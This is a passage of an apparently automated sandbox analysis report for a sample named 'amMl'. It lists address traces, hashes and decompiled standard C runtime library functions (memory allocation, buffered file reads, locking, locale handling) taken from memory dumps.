0x0040583a
0x00405842
0x00405847
0x0040584a
0x0040584f
0x0040591c
0x0040591c
0x00000000
0x00405855
0x00405855
0x00405859
0x0040585b
0x00000000
0x00405870
0x00405872
0x00405874
0x00405874
0x00405877
0x0040587b
0x00405881
0x00405881
0x00405885
0x00405889
0x00405897
0x00405899
0x004058a5
0x004058a7
0x004058b3
0x004058b5
0x004058c1
0x004058c5
0x004058c7
0x004058c7
0x004058c8
0x004058b7
0x004058b7
0x004058b7
0x004058a9
0x004058a9
0x004058a9
0x0040589b
0x0040589b
0x0040589b
0x0040588f
0x00405892
0x00405892
0x004058cc
0x004058cf
0x00000000
0x00000000
0x004058d1
0x004058d9
0x00000000
0x00000000
0x004058db
0x004058db
0x004058e0
0x00000000
0x004058e2
0x004058e4
0x00405930
0x0040593f
0x00405942
0x00405944
0x00405949
0x0040594c
0x0040594e
0x00000000
0x00405950
0x00405950
0x00405953
0x00000000
0x00000000
0x00000000
0x00000000
0x00405953
0x004058e6
0x004058ea
0x004058ec
0x004058f1
0x004058f2
0x004058f4
0x004058f6
0x004058f8
0x004058f9
0x00405904
0x00405906
0x0040590b
0x0040590e
0x00405911
0x00405916
0x00000000
0x00405955
0x00405955
0x00405955
0x00405961
0x00405963
0x00405967
0x0040596d
0x0040596e
0x0040597c
0x0040597d
0x00405970
0x00405970
0x00405974
0x00405975
0x00405975
0x00405985
0x00405988
0x0040598a
0x00000000
0x0040598c
0x0040598c
0x00405990
0x004059a5
0x004059ad
0x004059b6
0x004059b6
0x004059b9
0x004059c5
0x00405992
0x00405992
0x004059a2
0x004059a2
0x00405990
0x0040598a
0x00405916
0x004058e4
0x00000000
0x00405860
0x00405860
0x00405862
0x00405864
0x00405865
0x00405868
0x00000000
0x0040586a
0x0040586a
0x0040586d
0x00000000
0x00405868
0x0040584f
0x004057ea
0x00000000

APIs

_malloc.LIBCMT ref: 004057DE

Part of subcall function 0040B84D: __FF_MSGBANNER.LIBCMT ref: 0040B870
Part of subcall function 0040B84D: __NMSG_WRITE.LIBCMT ref: 0040B877
Part of subcall function 0040B84D: RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018,00421240,0000000C,0040D6FB), ref: 0040B8C4

_malloc.LIBCMT ref: 00405842
_malloc.LIBCMT ref: 00405906
_malloc.LIBCMT ref: 00405930

Strings

1.2.3, xrefs: 004058EC, 00405937

Memory Dump Source

Source File: 00000002.00000002.366895867.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.366895867.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.366895867.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_amMl.jbxd

Yara matches

Similarity

API ID: _malloc$AllocateHeap
String ID: 1.2.3
API String ID: 680241177-2310465506
Opcode ID: dcd0ffeba55ff02fe10acfaeba0fa9d55be123b2b31187241ea46178cf7d6550
Instruction ID: 6f54ea0e5a0cddcbb7a6eab5c61130b8c10e9e343dc86a4c4a61a5a67c51a18e
Opcode Fuzzy Hash: dcd0ffeba55ff02fe10acfaeba0fa9d55be123b2b31187241ea46178cf7d6550
Instruction Fuzzy Hash: 8B61F7B1944B408FD720AF2A888066BBBE0FB45314F548D3FE5D5A3781D739D8498F5A

Uniqueness

Uniqueness Score: -1.00%

Function 005BBF29 Relevance: 10.7, APIs: 7, Instructions: 189COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 005BBF8B
_memcpy_s.LIBCMT ref: 005BC000
__fileno.LIBCMT ref: 005BC060
__read.LIBCMT ref: 005BC067
__filbuf.LIBCMT ref: 005BC08B
_memset.LIBCMT ref: 005BC0D1
_memset.LIBCMT ref: 005BC0FC

Part of subcall function 005BC228: __getptd_noexit.LIBCMT ref: 005BC228

Memory Dump Source

Source File: 00000002.00000002.366986826.00000000005B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5b0000_amMl.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__fileno__getptd_noexit__read_memcpy_s
String ID:
API String ID: 3886058894-0
Opcode ID: c8cdba87b669e5a45588b0eb276f39e335abb1b1e80ab099951c299220f7b7ba
Instruction ID: 82a72810887145bd4ad274a3370a5061d62d10146332d04541f2a3a94254624f
Opcode Fuzzy Hash: c8cdba87b669e5a45588b0eb276f39e335abb1b1e80ab099951c299220f7b7ba
Instruction Fuzzy Hash: 7F51C571900209EFDB209F698C495EEBFB5FF81320F248629F82596191D7B1BE50DF54

Uniqueness

Uniqueness Score: -1.00%

Function 0040BCC2 Relevance: 10.7, APIs: 7, Instructions: 189
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E0040BCC2(signed int __edx, char* _a4, signed int _a8, signed int _a12, signed int _a16, signed int _a20) {
				signed int _v8;
				char* _v12;
				signed int _v16;
				signed int _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t90;
				intOrPtr* _t92;
				signed int _t94;
				char _t97;
				signed int _t105;
				void* _t106;
				signed int _t107;
				signed int _t110;
				signed int _t113;
				intOrPtr* _t114;
				signed int _t118;
				signed int _t119;
				signed int _t120;
				char* _t121;
				signed int _t125;
				signed int _t131;
				signed int _t133;
				void* _t134;

				_t125 = __edx;
				_t121 = _a4;
				_t119 = _a8;
				_t131 = 0;
				_v12 = _t121;
				_v8 = _t119;
				if(_a12 == 0 || _a16 == 0) {
					L5:
					return 0;
				} else {
					_t138 = _t121;
					if(_t121 != 0) {
						_t133 = _a20;
						__eflags = _t133;
						if(_t133 == 0) {
							L9:
							__eflags = _t119 - 0xffffffff;
							if(_t119 != 0xffffffff) {
								_t90 = E0040BA30(_t131, _t121, _t131, _t119);
								_t134 = _t134 + 0xc;
							}
							__eflags = _t133 - _t131;
							if(__eflags == 0) {
								goto L3;
							} else {
								_t94 = _t90 | 0xffffffff;
								_t125 = _t94 % _a12;
								__eflags = _a16 - _t94 / _a12;
								if(__eflags > 0) {
									goto L3;
								}
								L13:
								_t131 = _a12 * _a16;
								__eflags =  *(_t133 + 0xc) & 0x0000010c;
								_v20 = _t131;
								_t120 = _t131;
								if(( *(_t133 + 0xc) & 0x0000010c) == 0) {
									_v16 = 0x1000;
								} else {
									_v16 =  *((intOrPtr*)(_t133 + 0x18));
								}
								__eflags = _t131;
								if(_t131 == 0) {
									L40:
									return _a16;
								} else {
									do {
										__eflags =  *(_t133 + 0xc) & 0x0000010c;
										if(( *(_t133 + 0xc) & 0x0000010c) == 0) {
											L24:
											__eflags = _t120 - _v16;
											if(_t120 < _v16) {
												_t97 = E0040FC07(_t120, _t125, _t133);
												__eflags = _t97 - 0xffffffff;
												if(_t97 == 0xffffffff) {
													L48:
													return (_t131 - _t120) / _a12;
												}
												__eflags = _v8;
												if(_v8 == 0) {
													L44:
													__eflags = _a8 - 0xffffffff;
													if(__eflags != 0) {
														E0040BA30(_t131, _a4, 0, _a8);
														_t134 = _t134 + 0xc;
													}
													 *((intOrPtr*)(E0040BFC1(__eflags))) = 0x22;
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													L4:
													E0040E744(_t125, _t131, _t133);
													goto L5;
												}
												_t123 = _v12;
												_v12 = _v12 + 1;
												 *_v12 = _t97;
												_t120 = _t120 - 1;
												_t70 =  &_v8;
												 *_t70 = _v8 - 1;
												__eflags =  *_t70;
												_v16 =  *((intOrPtr*)(_t133 + 0x18));
												goto L39;
											}
											__eflags = _v16;
											if(_v16 == 0) {
												_t105 = 0x7fffffff;
												__eflags = _t120 - 0x7fffffff;
												if(_t120 <= 0x7fffffff) {
													_t105 = _t120;
												}
											} else {
												__eflags = _t120 - 0x7fffffff;
												if(_t120 <= 0x7fffffff) {
													_t55 = _t120 % _v16;
													__eflags = _t55;
													_t125 = _t55;
													_t110 = _t120;
												} else {
													_t125 = 0x7fffffff % _v16;
													_t110 = 0x7fffffff;
												}
												_t105 = _t110 - _t125;
											}
											__eflags = _t105 - _v8;
											if(_t105 > _v8) {
												goto L44;
											} else {
												_push(_t105);
												_push(_v12);
												_t106 = E0040FA20(_t125, _t131, _t133);
												_pop(_t123);
												_push(_t106);
												_t107 = E004102F4(_t120, _t125, _t131, _t133, __eflags);
												_t134 = _t134 + 0xc;
												__eflags = _t107;
												if(_t107 == 0) {
													 *(_t133 + 0xc) =  *(_t133 + 0xc) | 0x00000010;
													goto L48;
												}
												__eflags = _t107 - 0xffffffff;
												if(_t107 == 0xffffffff) {
													L47:
													_t80 = _t133 + 0xc;
													 *_t80 =  *(_t133 + 0xc) | 0x00000020;
													__eflags =  *_t80;
													goto L48;
												}
												_v12 = _v12 + _t107;
												_t120 = _t120 - _t107;
												_v8 = _v8 - _t107;
												goto L39;
											}
										}
										_t113 =  *(_t133 + 4);
										__eflags = _t113;
										if(__eflags == 0) {
											goto L24;
										}
										if(__eflags < 0) {
											goto L47;
										}
										_t131 = _t120;
										__eflags = _t120 - _t113;
										if(_t120 >= _t113) {
											_t131 = _t113;
										}
										__eflags = _t131 - _v8;
										if(_t131 > _v8) {
											_t133 = 0;
											__eflags = _a8 - 0xffffffff;
											if(__eflags != 0) {
												E0040BA30(_t131, _a4, 0, _a8);
												_t134 = _t134 + 0xc;
											}
											_t114 = E0040BFC1(__eflags);
											_push(_t133);
											_push(_t133);
											_push(_t133);
											_push(_t133);
											 *_t114 = 0x22;
											_push(_t133);
											goto L4;
										} else {
											E004103F1(_t120, _t123, _t125, _v12, _v8,  *_t133, _t131);
											 *(_t133 + 4) =  *(_t133 + 4) - _t131;
											 *_t133 =  *_t133 + _t131;
											_v12 = _v12 + _t131;
											_t120 = _t120 - _t131;
											_t134 = _t134 + 0x10;
											_v8 = _v8 - _t131;
											_t131 = _v20;
										}
										L39:
										__eflags = _t120;
									} while (_t120 != 0);
									goto L40;
								}
							}
						}
						_t118 = _t90 | 0xffffffff;
						_t90 = _t118 / _a12;
						_t125 = _t118 % _a12;
						__eflags = _a16 - _t90;
						if(_a16 <= _t90) {
							goto L13;
						}
						goto L9;
					}
					L3:
					_t92 = E0040BFC1(_t138);
					_push(_t131);
					_push(_t131);
					_push(_t131);
					_push(_t131);
					 *_t92 = 0x16;
					_push(_t131);
					goto L4;
				}
			}

0x0040bcc2
0x0040bcca
0x0040bcce
0x0040bcd3
0x0040bcd5
0x0040bcd8
0x0040bcde
0x0040bd01
0x00000000
0x0040bce5
0x0040bce5
0x0040bce7
0x0040bd08
0x0040bd0b
0x0040bd0d
0x0040bd1c
0x0040bd1c
0x0040bd1f
0x0040bd24
0x0040bd29
0x0040bd29
0x0040bd2c
0x0040bd2e
0x00000000
0x0040bd30
0x0040bd30
0x0040bd35
0x0040bd38
0x0040bd3b
0x00000000
0x00000000
0x0040bd3d
0x0040bd40
0x0040bd44
0x0040bd4b
0x0040bd4e
0x0040bd50
0x0040bd5a
0x0040bd52
0x0040bd55
0x0040bd55
0x0040bd61
0x0040bd63
0x0040be53
0x00000000
0x0040bd69
0x0040bd69
0x0040bd69
0x0040bd70
0x0040bdb6
0x0040bdb6
0x0040bdb9
0x0040be24
0x0040be2a
0x0040be2d
0x0040beb8
0x00000000
0x0040bebe
0x0040be33
0x0040be37
0x0040be87
0x0040be87
0x0040be8b
0x0040be95
0x0040be9a
0x0040be9a
0x0040bea2
0x0040beaa
0x0040beab
0x0040beac
0x0040bead
0x0040beae
0x0040bcf9
0x0040bcf9
0x00000000
0x0040bcfe
0x0040be39
0x0040be3c
0x0040be3f
0x0040be44
0x0040be45
0x0040be45
0x0040be45
0x0040be48
0x00000000
0x0040be48
0x0040bdbb
0x0040bdbf
0x0040bde0
0x0040bde5
0x0040bde7
0x0040bde9
0x0040bde9
0x0040bdc1
0x0040bdc8
0x0040bdca
0x0040bdd7
0x0040bdd7
0x0040bdd7
0x0040bdda
0x0040bdcc
0x0040bdce
0x0040bdd1
0x0040bdd1
0x0040bddc
0x0040bddc
0x0040bdeb
0x0040bdee
0x00000000
0x0040bdf4
0x0040bdf4
0x0040bdf5
0x0040bdf9
0x0040bdfe
0x0040bdff
0x0040be00
0x0040be05
0x0040be08
0x0040be0a
0x0040bec6
0x00000000
0x0040bec6
0x0040be10
0x0040be13
0x0040beb4
0x0040beb4
0x0040beb4
0x0040beb4
0x00000000
0x0040beb4
0x0040be19
0x0040be1c
0x0040be1e
0x00000000
0x0040be1e
0x0040bdee
0x0040bd72
0x0040bd75
0x0040bd77
0x00000000
0x00000000
0x0040bd79
0x00000000
0x00000000
0x0040bd7f
0x0040bd81
0x0040bd83
0x0040bd85
0x0040bd85
0x0040bd87
0x0040bd8a
0x0040be5b
0x0040be5d
0x0040be61
0x0040be6a
0x0040be6f
0x0040be6f
0x0040be72
0x0040be77
0x0040be78
0x0040be79
0x0040be7a
0x0040be7b
0x0040be81
0x00000000
0x0040bd90
0x0040bd99
0x0040bd9e
0x0040bda1
0x0040bda3
0x0040bda6
0x0040bda8
0x0040bdab
0x0040bdae
0x0040bdae
0x0040be4b
0x0040be4b
0x0040be4b
0x00000000
0x0040bd69
0x0040bd63
0x0040bd2e
0x0040bd0f
0x0040bd14
0x0040bd14
0x0040bd17
0x0040bd1a
0x00000000
0x00000000
0x00000000
0x0040bd1a
0x0040bce9
0x0040bce9
0x0040bcee
0x0040bcef
0x0040bcf0
0x0040bcf1
0x0040bcf2
0x0040bcf8
0x00000000
0x0040bcf8

APIs

_memset.LIBCMT ref: 0040BD24
_memcpy_s.LIBCMT ref: 0040BD99
__fileno.LIBCMT ref: 0040BDF9
__read.LIBCMT ref: 0040BE00
__filbuf.LIBCMT ref: 0040BE24
_memset.LIBCMT ref: 0040BE6A
_memset.LIBCMT ref: 0040BE95

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Memory Dump Source

Source File: 00000002.00000002.366895867.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.366895867.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.366895867.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_amMl.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__fileno__getptd_noexit__read_memcpy_s
String ID:
API String ID: 3886058894-0
Opcode ID: c8cdba87b669e5a45588b0eb276f39e335abb1b1e80ab099951c299220f7b7ba
Instruction ID: 0234425abcb0213f77efd30778ac7634d7a408156a07f93f58cd91f86a00e979
Opcode Fuzzy Hash: c8cdba87b669e5a45588b0eb276f39e335abb1b1e80ab099951c299220f7b7ba
Instruction Fuzzy Hash: 1E519031A00605ABCB209F69C844A9FBB75EF41324F24863BF825B22D1D7799E51CBDD

Uniqueness

Uniqueness Score: -1.00%

Function 005BC9A4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

__lock_file.LIBCMT ref: 005BC92F
__fileno.LIBCMT ref: 005BC93D
__fileno.LIBCMT ref: 005BC949
__fileno.LIBCMT ref: 005BC955
__fileno.LIBCMT ref: 005BC965

Part of subcall function 005BC228: __getptd_noexit.LIBCMT ref: 005BC228

Strings

'B, xrefs: 005BC976

Memory Dump Source

Source File: 00000002.00000002.366986826.00000000005B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5b0000_amMl.jbxd

Yara matches

Similarity

API ID: __fileno$__getptd_noexit__lock_file
String ID: 'B
API String ID: 3755561058-2787509829
Opcode ID: 2b0b2601706cdb465d4c9eff24f73974ea9fb0f2dbbf8fc2cbf9e4943b65d960
Instruction ID: 1087d250c6105b9df1235495b0dbeb6ea13c8801cb9ccdc8ec5811bba747c2e7
Opcode Fuzzy Hash: 2b0b2601706cdb465d4c9eff24f73974ea9fb0f2dbbf8fc2cbf9e4943b65d960
Instruction Fuzzy Hash: 0F01663310461956D2216B786C4B4FDBFA0BEC6B3033A8715F0709B1D2EB28FD429299

Uniqueness

Uniqueness Score: -1.00%

Function 005C499F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 005C49AB

Part of subcall function 005C099C: __getptd_noexit.LIBCMT ref: 005C099F
Part of subcall function 005C099C: __amsg_exit.LIBCMT ref: 005C09AC

__getptd.LIBCMT ref: 005C49C2
__amsg_exit.LIBCMT ref: 005C49D0
__lock.LIBCMT ref: 005C49E0

Strings

@.B, xrefs: 005C49ED

Memory Dump Source

Source File: 00000002.00000002.366986826.00000000005B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5b0000_amMl.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID: @.B
API String ID: 3521780317-470711618
Opcode ID: f43c5434038c0e2b3130a40ea1e7b9b854db78837d0c16722a3a572f716d4dbb
Instruction ID: cbee799ba8ab69660176c9eed35308b3db0e4f18da0be88717c5aa29e8422c55
Opcode Fuzzy Hash: f43c5434038c0e2b3130a40ea1e7b9b854db78837d0c16722a3a572f716d4dbb
Instruction Fuzzy Hash: 33F09031A407219FDB20FBE4890BFEA7BA07F80760F55051EE444A72D2DB74A801DF95

Uniqueness

Uniqueness Score: -1.00%

Function 00414738 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 31
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 90%

			E00414738(void* __ebx, void* __edx, intOrPtr __edi, void* __esi, void* __eflags) {
				signed int _t13;
				intOrPtr _t28;
				void* _t29;
				void* _t30;

				_t30 = __eflags;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ebx;
				_push(0xc);
				_push(0x4214d0);
				E0040E1D8(__ebx, __edi, __esi);
				_t28 = E00410735(__ebx, __edx, __edi, _t30);
				_t13 =  *0x422e34; // 0xfffffffe
				if(( *(_t28 + 0x70) & _t13) == 0) {
					L6:
					E0040D6E0(_t22, 0xc);
					 *(_t29 - 4) =  *(_t29 - 4) & 0x00000000;
					_t8 = _t28 + 0x6c; // 0x6c
					_t26 =  *0x422f18; // 0x422e40
					 *((intOrPtr*)(_t29 - 0x1c)) = E004146FA(_t8, _t26);
					 *(_t29 - 4) = 0xfffffffe;
					E004147A2();
				} else {
					_t32 =  *((intOrPtr*)(_t28 + 0x6c));
					if( *((intOrPtr*)(_t28 + 0x6c)) == 0) {
						goto L6;
					} else {
						_t28 =  *((intOrPtr*)(E00410735(_t22, __edx, _t26, _t32) + 0x6c));
					}
				}
				if(_t28 == 0) {
					E0040E79A(_t25, _t26, 0x20);
				}
				return E0040E21D(_t28);
			}

0x00414738
0x00414738
0x00414738
0x00414738
0x00414738
0x0041473a
0x0041473f
0x00414749
0x0041474b
0x00414753
0x00414777
0x00414779
0x0041477f
0x00414783
0x00414786
0x00414791
0x00414794
0x0041479b
0x00414755
0x00414755
0x00414759
0x00000000
0x0041475b
0x00414760
0x00414760
0x00414759
0x00414765
0x00414769
0x0041476e
0x00414776

APIs

__getptd.LIBCMT ref: 00414744

Part of subcall function 00410735: __getptd_noexit.LIBCMT ref: 00410738
Part of subcall function 00410735: __amsg_exit.LIBCMT ref: 00410745

__getptd.LIBCMT ref: 0041475B
__amsg_exit.LIBCMT ref: 00414769
__lock.LIBCMT ref: 00414779

Strings

@.B, xrefs: 00414786

Memory Dump Source

Source File: 00000002.00000002.366895867.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.366895867.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.366895867.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_amMl.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID: @.B
API String ID: 3521780317-470711618
Opcode ID: f43c5434038c0e2b3130a40ea1e7b9b854db78837d0c16722a3a572f716d4dbb
Instruction ID: 91aff3cf2d6bbea4e2ea5d49e8e08bf0f41c3eb50374f8394f27d7b6c467aa53
Opcode Fuzzy Hash: f43c5434038c0e2b3130a40ea1e7b9b854db78837d0c16722a3a572f716d4dbb
Instruction Fuzzy Hash: 60F09631A407009BE720BB66850678D73A06F81719F91456FE4646B2D1CB7C6981CA5D

Uniqueness

Uniqueness Score: -1.00%

Function 005C4961 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

___addlocaleref.LIBCMT ref: 005C4973
___removelocaleref.LIBCMT ref: 005C497E
___freetlocinfo.LIBCMT ref: 005C4992

Part of subcall function 005C46F0: ___free_lconv_mon.LIBCMT ref: 005C4736
Part of subcall function 005C46F0: ___free_lconv_num.LIBCMT ref: 005C4757
Part of subcall function 005C46F0: ___free_lc_time.LIBCMT ref: 005C47DC

Strings

@.B, xrefs: 005C4989
@.B, xrefs: 005C4970

Memory Dump Source

Source File: 00000002.00000002.366986826.00000000005B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5b0000_amMl.jbxd

Yara matches

Similarity

API ID: ___addlocaleref___free_lc_time___free_lconv_mon___free_lconv_num___freetlocinfo___removelocaleref
String ID: @.B$@.B
API String ID: 4212647719-183327057
Opcode ID: 3857329619949c293296419ec2be8f51648e9d3bf58d3a63f1cc8ec60b1035b6
Instruction ID: ac3ef583a27a8e3f97789a358e2a519a1391b0cee9fff06e45c65e2ee4aecf55
Opcode Fuzzy Hash: 3857329619949c293296419ec2be8f51648e9d3bf58d3a63f1cc8ec60b1035b6
Instruction Fuzzy Hash: BFE0DF32511A320D8A312A9C6820F6F9E943FE2312B1B212EF84CE7045DB344C808CE4

Uniqueness

Uniqueness Score: -1.00%

Function 0040C73D Relevance: 7.6, APIs: 5, Instructions: 64
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E0040C73D(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4) {
				intOrPtr _v8;
				void* _t16;
				void* _t17;
				intOrPtr _t19;
				void* _t21;
				signed int _t22;
				intOrPtr* _t27;
				intOrPtr _t39;
				intOrPtr _t40;
				intOrPtr _t50;

				_t37 = __edx;
				_push(8);
				_push(0x421140);
				E0040E1D8(__ebx, __edi, __esi);
				_t39 = _a4;
				_t50 = _t39;
				_t51 = _t50 != 0;
				if(_t50 != 0) {
					E0040FB29(_t39);
					_v8 = 0;
					 *(_t39 + 0xc) =  *(_t39 + 0xc) & 0xffffffcf;
					_t16 = E0040FA20(__edx, _t39, _t39);
					__eflags = _t16 - 0xffffffff;
					if(_t16 == 0xffffffff) {
						L6:
						_t17 = 0x4227e0;
					} else {
						_t21 = E0040FA20(__edx, _t39, _t39);
						__eflags = _t21 - 0xfffffffe;
						if(_t21 == 0xfffffffe) {
							goto L6;
						} else {
							_t22 = E0040FA20(__edx, _t39, _t39);
							_t17 = ((E0040FA20(_t37, _t39, _t39) & 0x0000001f) << 6) +  *((intOrPtr*)(0x423f60 + (_t22 >> 5) * 4));
						}
					}
					_t9 = _t17 + 4; // 0xa80
					 *(_t17 + 4) =  *_t9 & 0x000000fd;
					_v8 = 0xfffffffe;
					E0040C735(_t39);
					_t19 = 0;
					__eflags = 0;
				} else {
					_t27 = E0040BFC1(_t51);
					_t40 = 0x16;
					 *_t27 = _t40;
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					E0040E744(__edx, _t40, 0);
					_t19 = _t40;
				}
				return E0040E21D(_t19);
			}

0x0040c73d
0x0040c690
0x0040c692
0x0040c697
0x0040c69e
0x0040c6a3
0x0040c6a8
0x0040c6aa
0x0040c6c8
0x0040c6ce
0x0040c6d1
0x0040c6d6
0x0040c6dc
0x0040c6df
0x0040c70f
0x0040c70f
0x0040c6e1
0x0040c6e2
0x0040c6e8
0x0040c6eb
0x00000000
0x0040c6ed
0x0040c6ee
0x0040c70b
0x0040c70b
0x0040c6eb
0x0040c714
0x0040c71b
0x0040c71e
0x0040c725
0x0040c72a
0x0040c72a
0x0040c6ac
0x0040c6ac
0x0040c6b3
0x0040c6b4
0x0040c6b6
0x0040c6b7
0x0040c6b8
0x0040c6b9
0x0040c6ba
0x0040c6bb
0x0040c6c3
0x0040c6c3
0x0040c731

APIs

__lock_file.LIBCMT ref: 0040C6C8
__fileno.LIBCMT ref: 0040C6D6
__fileno.LIBCMT ref: 0040C6E2
__fileno.LIBCMT ref: 0040C6EE
__fileno.LIBCMT ref: 0040C6FE

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F

Memory Dump Source

Source File: 00000002.00000002.366895867.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.366895867.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.366895867.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_amMl.jbxd

Yara matches

Similarity

API ID: __fileno$__decode_pointer__getptd_noexit__lock_file
String ID:
API String ID: 2805327698-0
Opcode ID: 2b0b2601706cdb465d4c9eff24f73974ea9fb0f2dbbf8fc2cbf9e4943b65d960
Instruction ID: db056c5abb1484b678344f3d998e50672bc49cccd6cfe868de5707b4f3f6250f
Opcode Fuzzy Hash: 2b0b2601706cdb465d4c9eff24f73974ea9fb0f2dbbf8fc2cbf9e4943b65d960
Instruction Fuzzy Hash: 1A01253231451096C261ABBE5CC246E76A0DE81734726877FF024BB1D2DB3C99429E9D

Uniqueness

Uniqueness Score: -1.00%

Function 005C4233 Relevance: 7.5, APIs: 5, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 005C423F

Part of subcall function 005C099C: __getptd_noexit.LIBCMT ref: 005C099F
Part of subcall function 005C099C: __amsg_exit.LIBCMT ref: 005C09AC

__amsg_exit.LIBCMT ref: 005C425F
__lock.LIBCMT ref: 005C426F
InterlockedDecrement.KERNEL32(?), ref: 005C428C
InterlockedIncrement.KERNEL32(00422D38), ref: 005C42B7

Memory Dump Source

Source File: 00000002.00000002.366986826.00000000005B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5b0000_amMl.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: 75ed1ba79165a940210d4fbe753a496d3ed1b888d754918a7527295a16311c61
Instruction ID: 6878c2d7d5a13e19f8403f20707a828ce1c2a5ead18950f3b4b7e2ad2a06008b
Opcode Fuzzy Hash: 75ed1ba79165a940210d4fbe753a496d3ed1b888d754918a7527295a16311c61
Instruction Fuzzy Hash: 4F01C435A01622EFDB21ABA4980BFEEBF60BF84720F540019F814A7291C7746981DFD9

Uniqueness

Uniqueness Score: -1.00%

Function 00413FCC Relevance: 7.5, APIs: 5, Instructions: 47
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 89%

			E00413FCC(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t15;
				LONG* _t21;
				long _t23;
				void* _t31;
				LONG* _t33;
				void* _t34;
				void* _t35;

				_t35 = __eflags;
				_t29 = __edx;
				_t25 = __ebx;
				_push(0xc);
				_push(0x421490);
				E0040E1D8(__ebx, __edi, __esi);
				_t31 = E00410735(__ebx, __edx, __edi, _t35);
				_t15 =  *0x422e34; // 0xfffffffe
				if(( *(_t31 + 0x70) & _t15) == 0 ||  *((intOrPtr*)(_t31 + 0x6c)) == 0) {
					E0040D6E0(_t25, 0xd);
					 *(_t34 - 4) =  *(_t34 - 4) & 0x00000000;
					_t33 =  *(_t31 + 0x68);
					 *(_t34 - 0x1c) = _t33;
					__eflags = _t33 -  *0x422d38; // 0x2241638
					if(__eflags != 0) {
						__eflags = _t33;
						if(_t33 != 0) {
							_t23 = InterlockedDecrement(_t33);
							__eflags = _t23;
							if(_t23 == 0) {
								__eflags = _t33 - 0x422910;
								if(__eflags != 0) {
									_push(_t33);
									E0040B6B5(_t25, _t31, _t33, __eflags);
								}
							}
						}
						_t21 =  *0x422d38; // 0x2241638
						 *(_t31 + 0x68) = _t21;
						_t33 =  *0x422d38; // 0x2241638
						 *(_t34 - 0x1c) = _t33;
						InterlockedIncrement(_t33);
					}
					 *(_t34 - 4) = 0xfffffffe;
					E00414067();
				} else {
					_t33 =  *(_t31 + 0x68);
				}
				if(_t33 == 0) {
					E0040E79A(_t29, _t31, 0x20);
				}
				return E0040E21D(_t33);
			}

0x00413fcc
0x00413fcc
0x00413fcc
0x00413fcc
0x00413fce
0x00413fd3
0x00413fdd
0x00413fdf
0x00413fe7
0x00414008
0x0041400e
0x00414012
0x00414015
0x00414018
0x0041401e
0x00414020
0x00414022
0x00414025
0x0041402b
0x0041402d
0x0041402f
0x00414035
0x00414037
0x00414038
0x0041403d
0x00414035
0x0041402d
0x0041403e
0x00414043
0x00414046
0x0041404c
0x00414050
0x00414050
0x00414056
0x0041405d
0x00413fef
0x00413fef
0x00413fef
0x00413ff4
0x00413ff8
